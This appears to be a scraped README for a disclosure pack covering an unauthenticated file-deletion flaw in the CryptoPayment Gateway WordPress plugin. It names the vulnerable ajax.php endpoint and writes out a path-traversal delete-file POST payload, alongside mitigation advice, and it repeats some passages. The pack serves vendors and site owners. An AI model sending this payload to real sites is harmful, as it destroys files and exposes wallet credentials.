The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
| CVE | [CVE-2026-81648]( · [CVE.org]( |
| CWE | [CWE-862]( |
| CVSS | **Critical: 10.0** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` |
| Product | WordPress — [CryptoPayment Gateway]( |
| Patched | no public patch (WPScan: no known fix) |
| License | [GNU Affero GPL v3.0](LICENSE) |
| Lab | `127.0.0.1` only · vendor/client disclosure pack, not a scanner |
delete-file on cryptd/ajax.php is the sink. HTTP is that PHP file, not admin-ajax.php.
- **Path:** `/wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.php`
- **Router:** Direct POST vendor/cryptd/ajax.php function=delete-file. Not wp_ajax. Path is __DIR__/uploads/ + folder + file_name (5 .. from uploads reaches wp-content).
- **Notes:** CVE-2026-81648 CWE-862 CryptoPayment Gateway 1.2.2. Witness POCWitness81648 disappearing. No known vendor patch (WPScan). Do not recover wallet keys.
- `GET /wp-content/poc81648/index.php expect POCWitness81648`
- `POST ajax.php data={"function":"delete-file","file_name":"../../../../../poc81648/index.php","folder":""}`
- `crpay_file_delete unlinks wp-content/poc81648/index.php`
- wp-content/poc81648/index.php echoes POCWitness81648
POCWitness81648 present before POST, absent after. JSON success without the delete is not it.
- ajax JSON without the file disappearing
**Do this first:** There is **no public patch**. Disable **CryptoPayment Gateway** or block `vendor/cryptd/ajax.php` until a vendor release exists.
- Re-run `CVE-2026-81648-Abraxas-Labs.py` against the patched build: the mapped witness must **not** appear.
- Confirm the vendor advisory / changeset in the deployed tree (see references).
- Disable or isolate the affected component.
- Hunt for the witness condition on production (new privileged users, unexpected files, injected rows — whatever this CVE's map names).
Target **only** ` (or the loopback you bound). Do not point this script at the internet.
Success is the **witness** above in the response body. Generic 200 HTML is not it.
Loopback stack used to reproduce. Official images unless a `Dockerfile` in this folder builds from source.
- [`lab/docker-compose.yml`](lab/docker-compose.yml)
- [`lab/docker-compose.override.yml`](lab/docker-compose.override.yml)
Bind the vulnerable product tree to Compose if the YAML mounts a local directory (plugin zip / source tag from the version table). Publish nothing except `127.0.0.1`.
- [CVE-2026-81648 · NVD](
- [CVE-2026-81648 · CVE.org](
- [wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/](
- [github.com/advisories/GHSA-9r3q-6qw8-8pm7](
- [nvd.nist.gov/vuln/detail/CVE-2026-81648](
- [wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898](
- Plugin directory: [cryptopayment-gateway](
- Trac browser: [plugins.trac.wordpress.org/cryptopayment-gateway](
- SVN tags: [plugins.svn.wordpress.org/cryptopayment-gateway](
- Abraxas Labs: [abraxaslabs.tech]( · [github.com/abraxas]( · [@abraxas_null](
- input: `
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
- Unknown CryptoPayment Gateway 1.2.1 affected
-
-
-
-
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization...
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
This disclosure pack is licensed under the **GNU Affero General Public License v3.0**. See [LICENSE](LICENSE).
This pack is for **the vendor, the site owner, and licensed labs**. The script talks to `127.0.0.1`. Using it against systems you do not own is not authorized by Abraxas Labs. No warranty.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
